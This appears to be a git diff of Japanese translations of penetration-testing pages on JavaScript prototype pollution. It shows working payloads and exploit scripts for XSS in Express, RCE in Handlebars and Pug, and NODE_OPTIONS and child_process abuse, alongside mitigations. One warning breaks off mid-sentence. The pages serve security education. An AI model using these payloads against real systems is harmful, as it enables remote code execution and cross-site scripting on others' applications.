@ -78,7 +78,7 @@ console.log(car1.isVehicle) // Outputs true
|
|||||||
```
|
```
|
||||||
## プロトタイプ汚染
|
## プロトタイプ汚染
|
||||||
|
|
||||||
`__proto__` の使用が制限されているシナリオでは、関数のプロトタイプを変更することが代替手段です:
|
`__proto__` の使用が制限されているシナリオでは、関数のプロトタイプを変更することが代替手段です:
|
||||||
```javascript
|
```javascript
|
||||||
function Vehicle(model) {
|
function Vehicle(model) {
|
||||||
this.model = model
|
this.model = model
|
||||||
@ -185,7 +185,7 @@ user.isAdmin // true
|
|||||||
```
|
```
|
||||||
このメカニズムは、攻撃者が特定の入力を制御できる場合、アプリケーション内のすべてのオブジェクトのプロトタイプを変更できるようにプロパティを操作することに関係しています。この操作は通常、`__proto__`プロパティを設定することを含み、JavaScriptではオブジェクトのプロトタイプを直接変更することと同義です。
|
このメカニズムは、攻撃者が特定の入力を制御できる場合、アプリケーション内のすべてのオブジェクトのプロトタイプを変更できるようにプロパティを操作することに関係しています。この操作は通常、`__proto__`プロパティを設定することを含み、JavaScriptではオブジェクトのプロトタイプを直接変更することと同義です。
|
||||||
|
|
||||||
この攻撃が成功裏に実行される条件は、特定の[研究](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)に概説されており、以下が含まれます:
|
この攻撃が成功裏に実行される条件は、特定の[研究](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)に概説されているように、以下を含みます:
|
||||||
|
|
||||||
- 再帰的マージを実行すること。
|
- 再帰的マージを実行すること。
|
||||||
- パスに基づいてプロパティを定義すること。
|
- パスに基づいてプロパティを定義すること。
|
||||||
@ -218,7 +218,7 @@ client-side-prototype-pollution.md
|
|||||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||||
console.log({}.devMode) // Outputs: true
|
console.log({}.devMode) // Outputs: true
|
||||||
```
|
```
|
||||||
この脆弱性はCVE-2019–11358として特定されており、ディープコピーがプロトタイプを意図せずに変更する方法を示しています。これにより、`isAdmin`のようなプロパティが適切な存在確認なしにチェックされると、未承認の管理者アクセスなどの潜在的なセキュリティリスクが生じる可能性があります。
|
この脆弱性はCVE-2019–11358として特定されており、ディープコピーがプロトタイプを意図せず変更する方法を示しています。これにより、`isAdmin`のようなプロパティが適切な存在確認なしにチェックされると、未承認の管理者アクセスなどの潜在的なセキュリティリスクが生じる可能性があります。
|
||||||
|
|
||||||
### CVE-2018–3721、CVE-2019–10744: lodashによるプロトタイプ汚染攻撃
|
### CVE-2018–3721、CVE-2019–10744: lodashによるプロトタイプ汚染攻撃
|
||||||
|
|
||||||
@ -237,7 +237,7 @@ console.log({}.devMode) // Outputs: true
|
|||||||
|
|
||||||
### NodeJSにおけるASTプロトタイプ汚染
|
### NodeJSにおけるASTプロトタイプ汚染
|
||||||
|
|
||||||
NodeJSは、テンプレートエンジンやTypeScriptなどの機能のためにJavaScriptで抽象構文木(AST)を広範に利用しています。このセクションでは、テンプレートエンジン、特にHandlebarsとPugにおけるプロトタイプ汚染に関連する脆弱性を探ります。
|
NodeJSは、テンプレートエンジンやTypeScriptなどの機能のためにJavaScriptで抽象構文木(AST)を広範に利用しています。このセクションでは、テンプレートエンジン、特にHandlebarsとPugに関連するプロトタイプ汚染の脆弱性を探ります。
|
||||||
|
|
||||||
#### Handlebars脆弱性分析
|
#### Handlebars脆弱性分析
|
||||||
|
|
||||||
@ -251,7 +251,7 @@ Handlebarsテンプレートエンジンは、プロトタイプ汚染攻撃に
|
|||||||
2. **コンパイラによる処理**: コンパイラはASTオブジェクトまたは文字列テンプレートを処理できます。`input.type`が`Program`に等しい場合、入力は事前に解析されたものとして扱われ、これを悪用できます。
|
2. **コンパイラによる処理**: コンパイラはASTオブジェクトまたは文字列テンプレートを処理できます。`input.type`が`Program`に等しい場合、入力は事前に解析されたものとして扱われ、これを悪用できます。
|
||||||
3. **コードの注入**: `Object.prototype`を操作することで、テンプレート関数に任意のコードを注入でき、リモートコード実行につながる可能性があります。
|
3. **コードの注入**: `Object.prototype`を操作することで、テンプレート関数に任意のコードを注入でき、リモートコード実行につながる可能性があります。
|
||||||
|
|
||||||
Handlebarsの脆弱性を悪用する例を示します:
|
Handlebarsの脆弱性を悪用する例:
|
||||||
```javascript
|
```javascript
|
||||||
const Handlebars = require("handlebars")
|
const Handlebars = require("handlebars")
|
||||||
|
|
||||||
@ -285,7 +285,7 @@ console.log(eval("(" + template + ")")["main"].toString())
|
|||||||
|
|
||||||
**外部参照**: [「flat」ライブラリにおけるプロトタイプ汚染に関連する問題](https://github.com/hughsk/flat/issues/105)
|
**外部参照**: [「flat」ライブラリにおけるプロトタイプ汚染に関連する問題](https://github.com/hughsk/flat/issues/105)
|
||||||
|
|
||||||
Pythonにおけるプロトタイプ汚染の悪用の例:
|
Pythonにおけるプロトタイプ汚染のエクスプロイトの例:
|
||||||
```python
|
```python
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
@ -313,7 +313,7 @@ requests.get(TARGET_URL)
|
|||||||
```
|
```
|
||||||
#### Pugの脆弱性
|
#### Pugの脆弱性
|
||||||
|
|
||||||
Pug、別のテンプレートエンジンも、プロトタイプ汚染の同様のリスクに直面しています。詳細情報は、[PugにおけるASTインジェクション](https://blog.p6.is/AST-Injection/#Pug)の議論で入手できます。
|
Pugは、別のテンプレートエンジンであり、プロトタイプ汚染の同様のリスクに直面しています。詳細な情報は、[PugにおけるASTインジェクション](https://blog.p6.is/AST-Injection/#Pug)の議論で入手できます。
|
||||||
|
|
||||||
Pugにおけるプロトタイプ汚染の例:
|
Pugにおけるプロトタイプ汚染の例:
|
||||||
```python
|
```python
|
||||||
@ -336,14 +336,14 @@ requests.get(TARGET_URL)
|
|||||||
|
|
||||||
プロトタイプ汚染のリスクを減らすために、以下の戦略を採用できます:
|
プロトタイプ汚染のリスクを減らすために、以下の戦略を採用できます:
|
||||||
|
|
||||||
1. **オブジェクトの不変性**: `Object.prototype`を`Object.freeze`を適用することで不変にできます。
|
1. **オブジェクトの不変性**: `Object.prototype`は`Object.freeze`を適用することで不変にできます。
|
||||||
2. **入力検証**: JSON入力はアプリケーションのスキーマに対して厳密に検証する必要があります。
|
2. **入力検証**: JSON入力はアプリケーションのスキーマに対して厳密に検証する必要があります。
|
||||||
3. **安全なマージ関数**: 再帰的なマージ関数の安全でない使用は避けるべきです。
|
3. **安全なマージ関数**: 再帰的なマージ関数の安全でない使用は避けるべきです。
|
||||||
4. **プロトタイプのないオブジェクト**: プロトタイププロパティのないオブジェクトは`Object.create(null)`を使用して作成できます。
|
4. **プロトタイプのないオブジェクト**: プロトタイププロパティのないオブジェクトは`Object.create(null)`を使用して作成できます。
|
||||||
5. **Mapの使用**: キーと値のペアを保存するために`Object`の代わりに`Map`を使用すべきです。
|
5. **Mapの使用**: キーと値のペアを保存するために`Object`の代わりに`Map`を使用すべきです。
|
||||||
6. **ライブラリの更新**: 定期的にライブラリを更新することでセキュリティパッチを組み込むことができます。
|
6. **ライブラリの更新**: 定期的にライブラリを更新することでセキュリティパッチを組み込むことができます。
|
||||||
7. **リンターと静的解析ツール**: プロトタイプ汚染の脆弱性を検出し防止するために、適切なプラグインを持つESLintのようなツールを使用します。
|
7. **リンターと静的解析ツール**: プロトタイプ汚染の脆弱性を検出し防止するために、適切なプラグインを持つESLintのようなツールを使用します。
|
||||||
8. **コードレビュー**: プロトタイプ汚染に関連する潜在的なリスクを特定し修正するために徹底的なコードレビューを実施します。
|
8. **コードレビュー**: プロトタイプ汚染に関連する潜在的なリスクを特定し修正するために、徹底的なコードレビューを実施します。
|
||||||
9. **セキュリティトレーニング**: 開発者にプロトタイプ汚染のリスクと安全なコードを書くためのベストプラクティスについて教育します。
|
9. **セキュリティトレーニング**: 開発者にプロトタイプ汚染のリスクと安全なコードを書くためのベストプラクティスについて教育します。
|
||||||
10. **ライブラリの使用に注意**: サードパーティのライブラリを使用する際は注意が必要です。特にオブジェクトを操作するものについては、そのセキュリティ姿勢を評価し、コードをレビューします。
|
10. **ライブラリの使用に注意**: サードパーティのライブラリを使用する際は注意が必要です。特にオブジェクトを操作するものについては、そのセキュリティ姿勢を評価し、コードをレビューします。
|
||||||
11. **ランタイム保護**: プロトタイプ汚染攻撃を検出し防止できるセキュリティ重視のnpmパッケージを使用するなど、ランタイム保護メカニズムを採用します。
|
11. **ランタイム保護**: プロトタイプ汚染攻撃を検出し防止できるセキュリティ重視のnpmパッケージを使用するなど、ランタイム保護メカニズムを採用します。
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
ツール [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **および** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) は **プロトタイプ汚染の脆弱性を見つける**ために使用できます。
|
ツール [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **および** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) は **プロトタイプ汚染の脆弱性を見つける**ために使用できます。
|
||||||
|
|
||||||
さらに、**ブラウザ拡張機能** [**PPScan**](https://github.com/msrkp/PPScan) を使用して、**自動的に** **アクセスする** **ページ**のプロトタイプ汚染の脆弱性を**スキャン**することもできます。
|
さらに、**ブラウザ拡張機能** [**PPScan**](https://github.com/msrkp/PPScan) を使用して、**アクセス**した**ページ**を**自動的に** **スキャン**し、プロトタイプ汚染の脆弱性を探すこともできます。
|
||||||
|
|
||||||
### プロパティが使用されている場所のデバッグ <a href="#id-5530" id="id-5530"></a>
|
### プロパティが使用されている場所のデバッグ <a href="#id-5530" id="id-5530"></a>
|
||||||
```javascript
|
```javascript
|
||||||
@ -19,7 +19,7 @@ return "test"
|
|||||||
},
|
},
|
||||||
})
|
})
|
||||||
```
|
```
|
||||||
### Prototype Pollutionの根本原因を特定する <a href="#id-5530" id="id-5530"></a>
|
### プロトタイプ汚染の根本原因を特定する <a href="#id-5530" id="id-5530"></a>
|
||||||
|
|
||||||
プロトタイプ汚染の脆弱性がツールによって特定され、コードがそれほど複雑でない場合、Chrome Developer Toolsで`location.hash`、`decodeURIComponent`、または`location.search`などのキーワードを検索することで脆弱性を見つけることができます。このアプローチにより、JavaScriptコードの脆弱なセクションを特定できます。
|
プロトタイプ汚染の脆弱性がツールによって特定され、コードがそれほど複雑でない場合、Chrome Developer Toolsで`location.hash`、`decodeURIComponent`、または`location.search`などのキーワードを検索することで脆弱性を見つけることができます。このアプローチにより、JavaScriptコードの脆弱なセクションを特定できます。
|
||||||
|
|
||||||
@ -48,7 +48,7 @@ debugAccess(Object.prototype, "ppmap")
|
|||||||
```
|
```
|
||||||
4. **Sources** タブに戻り、「スクリプトの実行を再開」を選択します。JavaScript は引き続き実行され、'ppmap' プロパティは予想通りに汚染されます。提供されたスニペットを利用することで、'ppmap' プロパティが汚染される正確な場所を特定できます。**Call Stack** を調べることで、汚染が発生した異なるスタックを観察できます。
|
4. **Sources** タブに戻り、「スクリプトの実行を再開」を選択します。JavaScript は引き続き実行され、'ppmap' プロパティは予想通りに汚染されます。提供されたスニペットを利用することで、'ppmap' プロパティが汚染される正確な場所を特定できます。**Call Stack** を調べることで、汚染が発生した異なるスタックを観察できます。
|
||||||
|
|
||||||
どのスタックを調査するかを決定する際には、JavaScript ライブラリファイルに関連するスタックをターゲットにすることがしばしば有用です。プロトタイプ汚染はこれらのライブラリ内で頻繁に発生します。ライブラリファイルへの関連付けを調べることで、関連するスタックを特定します(右側に表示され、ガイダンス用の画像に似ています)。行 4 と 6 のように複数のスタックがある場合、論理的な選択は行 4 のスタックです。これは汚染の最初の発生を示し、脆弱性の根本原因を表します。スタックをクリックすると、脆弱なコードに移動します。
|
どのスタックを調査するかを決定する際、JavaScript ライブラリファイルに関連するスタックをターゲットにすることがしばしば有用です。プロトタイプ汚染はこれらのライブラリ内で頻繁に発生します。ライブラリファイルへの関連付けを調べることで、関連するスタックを特定します(右側に表示され、ガイダンス用の画像に似ています)。行 4 と 6 のように複数のスタックがある場合、論理的な選択は行 4 のスタックです。これは汚染の最初の発生を示し、脆弱性の根本原因を表します。スタックをクリックすると、脆弱なコードに移動します。
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
@ -56,7 +56,7 @@ debugAccess(Object.prototype, "ppmap")
|
|||||||
|
|
||||||
ガジェットは、**PP 脆弱性が発見されたときに悪用されるコード**です。
|
ガジェットは、**PP 脆弱性が発見されたときに悪用されるコード**です。
|
||||||
|
|
||||||
アプリケーションがシンプルな場合、**`srcdoc/innerHTML/iframe/createElement`** のような **キーワード** を **検索** し、ソースコードをレビューして **JavaScript 実行につながるか** を確認できます。時には、言及された技術がガジェットを全く見つけられないこともあります。その場合、純粋なソースコードレビューが、以下の例のような素晴らしいガジェットを明らかにします。
|
アプリケーションがシンプルな場合、**`srcdoc/innerHTML/iframe/createElement`** のような **キーワード** を **検索** し、ソースコードをレビューして **JavaScript 実行に繋がるか** を確認できます。時には、言及された技術がガジェットを全く見つけられないこともあります。その場合、純粋なソースコードレビューが、以下の例のような素晴らしいガジェットを明らかにします。
|
||||||
|
|
||||||
### Mithil ライブラリコードでの PP ガジェットの発見例
|
### Mithil ライブラリコードでの PP ガジェットの発見例
|
||||||
|
|
||||||
|
@ -1,14 +1,14 @@
|
|||||||
# Express プロトタイプ汚染ガジェット
|
# Expressプロトタイプ汚染ガジェット
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## XSS レスポンスを提供する
|
## XSSレスポンスを提供する
|
||||||
|
|
||||||
**詳細については** [**元の研究を参照してください**](https://portswigger.net/research/server-side-prototype-pollution)
|
**詳細については** [**元の研究を参照してください**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||||
|
|
||||||
### JSON コンテンツタイプを HTML に変更する
|
### JSONコンテンツタイプをHTMLに変更する
|
||||||
|
|
||||||
Express アプリで **JSON コンテンツタイプレスポンス** を使用し、JSON を反映させる:
|
Expressアプリで**JSONコンテンツタイプのレスポンス**を使用し、JSONを反映させる:
|
||||||
```javascript
|
```javascript
|
||||||
app.use(bodyParser.json({ type: "application/json" }))
|
app.use(bodyParser.json({ type: "application/json" }))
|
||||||
app.post("/", function (req, res) {
|
app.post("/", function (req, res) {
|
||||||
@ -20,11 +20,11 @@ res.send(req.body)
|
|||||||
```json
|
```json
|
||||||
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
|
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
|
||||||
```
|
```
|
||||||
**`body`** と **`_body`** プロパティを **汚染する** ことによって、**ExpressがHTMLコンテンツタイプを提供し、** `_body` プロパティを反映させることが可能になり、結果として保存されたXSSが発生します。
|
**`body`** と **`_body`** プロパティを **汚染** することで、**ExpressがHTMLコンテンツタイプを提供し、** `_body` プロパティを反映させることが可能になり、保存されたXSSが発生します。
|
||||||
|
|
||||||
### UTF7をレンダリングする
|
### UTF7をレンダリング
|
||||||
|
|
||||||
Expressが **UTF-7コンテンツをレンダリングする** ことを可能にする方法があります:
|
Expressが **UTF-7コンテンツをレンダリングする** ことが可能です:
|
||||||
```json
|
```json
|
||||||
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
|
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
|
||||||
```
|
```
|
||||||
@ -67,20 +67,20 @@ Expressが **UTF-7コンテンツをレンダリングする** ことを可能
|
|||||||
```
|
```
|
||||||
### エラー
|
### エラー
|
||||||
|
|
||||||
プリミティブ(文字列など)をプロトタイプに割り当てると、**プロトタイプはオブジェクトでなければならないため、何も行わない操作が生成されます**。`Object.prototype`自体にプロトタイプオブジェクトを割り当てようとすると、**例外がスローされます**。これらの2つの動作を使用して、**プロトタイプ汚染が成功したかどうかを検出できます**:
|
プリミティブ(例えば文字列)を使ってプロトタイプに割り当てると、**プロトタイプはオブジェクトでなければならないため、何も行わない操作が生成されます**。`Object.prototype`自体にプロトタイプオブジェクトを割り当てようとすると、**例外がスローされます**。これらの2つの動作を使用して、**プロトタイプ汚染が成功したかどうかを検出できます**:
|
||||||
```javascript
|
```javascript
|
||||||
;({}).__proto__.__proto__ = {}(
|
;({}).__proto__.__proto__ = {}(
|
||||||
//throws type exception
|
//throws type exception
|
||||||
{}
|
{}
|
||||||
).__proto__.__proto__ = "x" //no-op does not throw exception
|
).__proto__.__proto__ = "x" //no-op does not throw exception
|
||||||
```
|
```
|
||||||
### 反射された値
|
### 反射値
|
||||||
|
|
||||||
アプリケーションが応答にオブジェクトを含めるとき、`__proto__` と一緒に **異常な名前の属性を作成すること** は洞察を与える可能性があります。特に、**応答に異常な属性のみが返される場合**、これはアプリケーションの脆弱性を示している可能性があります:
|
アプリケーションがレスポンスにオブジェクトを含めるとき、**`__proto__`**と一緒に**異常な名前の属性を作成すること**は洞察を与える可能性があります。特に、**異常な属性のみがレスポンスに返される**場合、これはアプリケーションの脆弱性を示している可能性があります:
|
||||||
```json
|
```json
|
||||||
{ "unusualName": "value", "__proto__": "test" }
|
{ "unusualName": "value", "__proto__": "test" }
|
||||||
```
|
```
|
||||||
さらに、Lodashのようなライブラリが使用されるシナリオでは、プロトタイプ汚染(PP)を介しておよびオブジェクト内で直接プロパティを設定することが、別の診断アプローチを提供します。そのようなプロパティがレスポンスから省略されている場合、それはLodashがマージする前にターゲットオブジェクト内のプロパティの存在を確認していることを示唆しています。
|
さらに、Lodashのようなライブラリが使用されるシナリオでは、プロトタイプ汚染(PP)を介しておよびオブジェクト内で直接プロパティを設定することが、別の診断アプローチを提供します。そのようなプロパティがレスポンスから省略されている場合、Lodashがマージする前にターゲットオブジェクト内のプロパティの存在を確認していることを示唆しています。
|
||||||
```javascript
|
```javascript
|
||||||
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
|
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
|
||||||
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
|
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
|
||||||
|
@ -1,10 +1,10 @@
|
|||||||
# プロトタイプ汚染からRCEへ
|
# Prototype Pollution to RCE
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## 脆弱なコード
|
## Vulnerable Code
|
||||||
|
|
||||||
実際のJSが以下のようなコードを使用していると想像してみてください:
|
実際のJSが次のようなコードを使用していると想像してください:
|
||||||
```javascript
|
```javascript
|
||||||
const { execSync, fork } = require("child_process")
|
const { execSync, fork } = require("child_process")
|
||||||
|
|
||||||
@ -41,7 +41,7 @@ var proc = fork("a_file.js")
|
|||||||
|
|
||||||
**PP2RCE**は**Prototype Pollution to RCE**(リモートコード実行)を意味します。
|
**PP2RCE**は**Prototype Pollution to RCE**(リモートコード実行)を意味します。
|
||||||
|
|
||||||
この[**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)によると、**`child_process`**のいくつかのメソッド(`fork`や`spawn`など)を使用して**プロセスが生成される**と、`normalizeSpawnArguments`メソッドが呼び出され、これは**新しいenv varsを作成するためのプロトタイプ汚染ガジェット**です:
|
この[**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)によると、**process is spawned**が**`child_process`**のいくつかのメソッド(`fork`や`spawn`など)を使用して呼び出されると、**prototype pollution gadget to create new env vars**である`normalizeSpawnArguments`メソッドが呼び出されます:
|
||||||
```javascript
|
```javascript
|
||||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||||
|
|
||||||
@ -61,17 +61,13 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
コードを確認してください。**`envPairs`**を**汚染**することが可能であることがわかります。**属性`.env`**によってです。
|
コードを確認してください。**`envPairs`**を**汚染**することが可能であることがわかります。**属性`.env`**を通じてです。
|
||||||
|
|
||||||
### **`__proto__`の汚染**
|
### **`__proto__`の汚染**
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **`child_process`**ライブラリの**`normalizeSpawnArguments`**関数の動作により、プロセスのために**新しいenv変数を設定する**ために何かを呼び出すとき、**何かを汚染する**だけで済みます。\
|
> **`child_process`**ライブラリの**`normalizeSpawnArguments`**関数の動作により、プロセスのために**新しいenv変数を設定する**ために何かを呼び出すとき、**何かを汚染する**だけで済みます。\
|
||||||
> 例えば、`__proto__.avar="valuevar"`を実行すると、プロセスは`avar`という名前の変数を`valuevar`という値で生成します。
|
> 例えば、`__proto__.avar="
|
||||||
>
|
|
||||||
> しかし、**env変数が最初のものであるためには**、**`.env`属性を汚染する**必要があり、(一部のメソッドのみで)その変数が**最初のもの**になります(攻撃を可能にします)。
|
|
||||||
>
|
|
||||||
> だからこそ、次の攻撃では**`NODE_OPTIONS`**が**`.env`の中にない**のです。
|
|
||||||
```javascript
|
```javascript
|
||||||
const { execSync, fork } = require("child_process")
|
const { execSync, fork } = require("child_process")
|
||||||
|
|
||||||
@ -149,9 +145,9 @@ clone(USERINPUT)
|
|||||||
var proc = fork("a_file.js")
|
var proc = fork("a_file.js")
|
||||||
// This should create the file /tmp/pp2rec
|
// This should create the file /tmp/pp2rec
|
||||||
```
|
```
|
||||||
## DNSインタラクション
|
## DNS Interaction
|
||||||
|
|
||||||
以下のペイロードを使用することで、以前に説明したNODE_OPTIONS環境変数を悪用し、DNSインタラクションで機能したかどうかを検出することが可能です:
|
以下のペイロードを使用することで、以前に説明したNODE_OPTIONS環境変数を悪用し、DNSインタラクションを通じてそれが機能したかどうかを検出することが可能です:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"__proto__": {
|
"__proto__": {
|
||||||
@ -227,16 +223,16 @@ var proc = execFile("/usr/bin/node")
|
|||||||
|
|
||||||
// Windows - not working
|
// Windows - not working
|
||||||
```
|
```
|
||||||
**`execFile`**が機能するためには、**NODE_OPTIONS**が機能するように**node**を**実行する必要があります**。\
|
**`execFile`** が機能するためには、**NODE_OPTIONS** が機能するように **node** を実行する必要があります。\
|
||||||
もし**node**を実行していない場合は、実行しているものの**実行を変更する方法**を見つけ、環境変数を設定する必要があります。
|
もし **node** を実行していない場合は、実行されているものの **実行を変更する** 方法を見つけ、環境変数を設定する必要があります。
|
||||||
|
|
||||||
**他の**技術はこの要件なしで**機能します**。なぜなら、プロトタイプ汚染を通じて**実行されるものを変更することが可能だからです**。(この場合、たとえ`.shell`を汚染できても、実行されているものは汚染できません)。
|
**他の** テクニックはこの要件なしで **機能** します。なぜなら、プロトタイプ汚染を通じて **実行されるものを変更する** ことが **可能だからです**。 (この場合、たとえ `.shell` を汚染できても、実行されているものは汚染できません)。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><code>fork</code>の悪用</summary>
|
<summary><code>fork</code> の悪用</summary>
|
||||||
```javascript
|
```javascript
|
||||||
// environ trick - working
|
// environ trick - working
|
||||||
// Working after kEmptyObject (fix)
|
// Working after kEmptyObject (fix)
|
||||||
@ -468,7 +464,7 @@ var proc = spawnSync("something")
|
|||||||
### requireファイルパスの制御
|
### requireファイルパスの制御
|
||||||
|
|
||||||
この [**別の書き込み**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) では、ユーザーが **`require`** が実行されるファイルパスを制御できます。そのシナリオでは、攻撃者は **インポートされたときにスポーンメソッドを実行する `.js` ファイルをシステム内で見つける** 必要があります。\
|
この [**別の書き込み**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) では、ユーザーが **`require`** が実行されるファイルパスを制御できます。そのシナリオでは、攻撃者は **インポートされたときにスポーンメソッドを実行する `.js` ファイルをシステム内で見つける** 必要があります。\
|
||||||
インポートされたときにスポーン関数を呼び出す一般的なファイルの例は次のとおりです:
|
インポートされたときにスポーン関数を呼び出す一般的なファイルのいくつかの例は次のとおりです:
|
||||||
|
|
||||||
- /path/to/npm/scripts/changelog.js
|
- /path/to/npm/scripts/changelog.js
|
||||||
- /opt/yarn-v1.22.19/preinstall.js
|
- /opt/yarn-v1.22.19/preinstall.js
|
||||||
@ -497,23 +493,23 @@ done
|
|||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### プロトタイプ汚染によるrequireファイルパスの設定
|
### プロトタイプ汚染を介したrequireファイルパスの設定
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **前の技術は**、**ユーザーがファイルのパスを制御する必要がある**ことを要求します。 しかし、これは常に真ではありません。
|
> **以前の技術は**、**ユーザーがファイルのパスを制御する必要がある**ことを要求します。 しかし、これは常に真ではありません。
|
||||||
|
|
||||||
ただし、プロトタイプ汚染の後にrequireを実行するコードがある場合、たとえ**パスを制御できなくても**、**プロトタイプ汚染を悪用して異なるパスを強制することができます**。 したがって、コード行が`require("./a_file.js")`や`require("bytes")`のようであっても、汚染したパッケージを**require**します。
|
ただし、プロトタイプ汚染の後にrequireを実行するコードがある場合、たとえ**パスを制御できなくても**、**プロトタイプ汚染を悪用して異なるパスを強制することができます**。 したがって、コード行が`require("./a_file.js")`や`require("bytes")`のようであっても、汚染したパッケージを**require**します。
|
||||||
|
|
||||||
したがって、プロトタイプ汚染の後にrequireが実行され、spawn関数がない場合、これが攻撃です:
|
したがって、プロトタイプ汚染の後にrequireが実行され、spawn関数がない場合、これは攻撃です:
|
||||||
|
|
||||||
- **システム内の`.js`ファイルを見つける** それが**require**されると、`child_process`を使用して**何かを実行します**
|
- **システム内の`.js`ファイルを見つける** それが**require**されると、`child_process`を使用して**何かを実行します**
|
||||||
- 攻撃しているプラットフォームにファイルをアップロードできる場合、そのようなファイルをアップロードすることができます
|
- 攻撃しているプラットフォームにファイルをアップロードできる場合、そのようなファイルをアップロードすることができます
|
||||||
- **パスを汚染して、`.js`ファイルのrequireロードを強制する**
|
- パスを汚染して、**`.js`ファイルのrequireロードを強制する** それがchild_processで何かを実行します
|
||||||
- **環境/コマンドラインを汚染して、child_process実行関数が呼び出されたときに任意のコードを実行する**(最初の技術を参照)
|
- **環境/コマンドラインを汚染して**、child_process実行関数が呼び出されたときに任意のコードを実行します(最初の技術を参照)
|
||||||
|
|
||||||
#### 絶対require
|
#### 絶対require
|
||||||
|
|
||||||
実行されるrequireが**絶対的**(`require("bytes")`)で、**パッケージが`package.json`ファイルにmainを含まない場合**、**`main`属性を汚染して、**requireが異なるファイルを実行するようにすることができます。
|
実行されたrequireが**絶対的**(`require("bytes")`)で、**パッケージが`package.json`ファイルにmainを含まない場合**、**`main`属性を汚染して**、**requireが異なるファイルを実行するようにすることができます**。
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="exploit"}}
|
{{#tab name="exploit"}}
|
||||||
@ -556,7 +552,7 @@ fork("anything")
|
|||||||
|
|
||||||
#### 相対require - 1
|
#### 相対require - 1
|
||||||
|
|
||||||
**相対パス**が絶対パスの代わりに読み込まれる場合、nodeに**異なるパスを読み込ませる**ことができます:
|
もし**相対パス**が絶対パスの代わりに読み込まれると、nodeは**異なるパスを読み込む**ことができます:
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="exploit"}}
|
{{#tab name="exploit"}}
|
||||||
@ -660,15 +656,15 @@ require("./usage.js")
|
|||||||
```
|
```
|
||||||
## VM Gadgets
|
## VM Gadgets
|
||||||
|
|
||||||
論文[https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)では、**`vm`**ライブラリのいくつかのメソッドからの**`contextExtensions`**の制御がガジェットとして使用できることが示されています。\
|
論文[https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)では、**`vm`**ライブラリのいくつかのメソッドからの**`contextExtensions`**の制御がガジェットとして使用できることも示されています。\
|
||||||
しかし、前述の**`child_process`**メソッドと同様に、最新バージョンでは**修正**されています。
|
しかし、前述の**`child_process`**メソッドと同様に、最新のバージョンでは**修正**されています。
|
||||||
|
|
||||||
## Fixes & Unexpected protections
|
## Fixes & Unexpected protections
|
||||||
|
|
||||||
プロトタイプ汚染は、アクセスされているオブジェクトの**属性**が**未定義**である場合に機能することに注意してください。**コード**内でその**属性**に**値**が**設定**されている場合、**上書きすることはできません**。
|
プロトタイプ汚染は、アクセスされているオブジェクトの**属性**が**未定義**である場合に機能することに注意してください。**コード**内でその**属性**に**値**が**設定**されている場合、**上書きすることはできません**。
|
||||||
|
|
||||||
2022年6月、[**このコミット**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)から、変数`options`は`{}`の代わりに**`kEmptyObject`**です。これにより、プロトタイプ汚染が**`options`**の**属性**に影響を与えてRCEを取得することを**防ぎます**。\
|
2022年6月、[**このコミット**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)から、変数`options`は`{}`の代わりに**`kEmptyObject`**です。これにより、プロトタイプ汚染が**`options`**の**属性**に影響を与えてRCEを取得するのを防ぎます。\
|
||||||
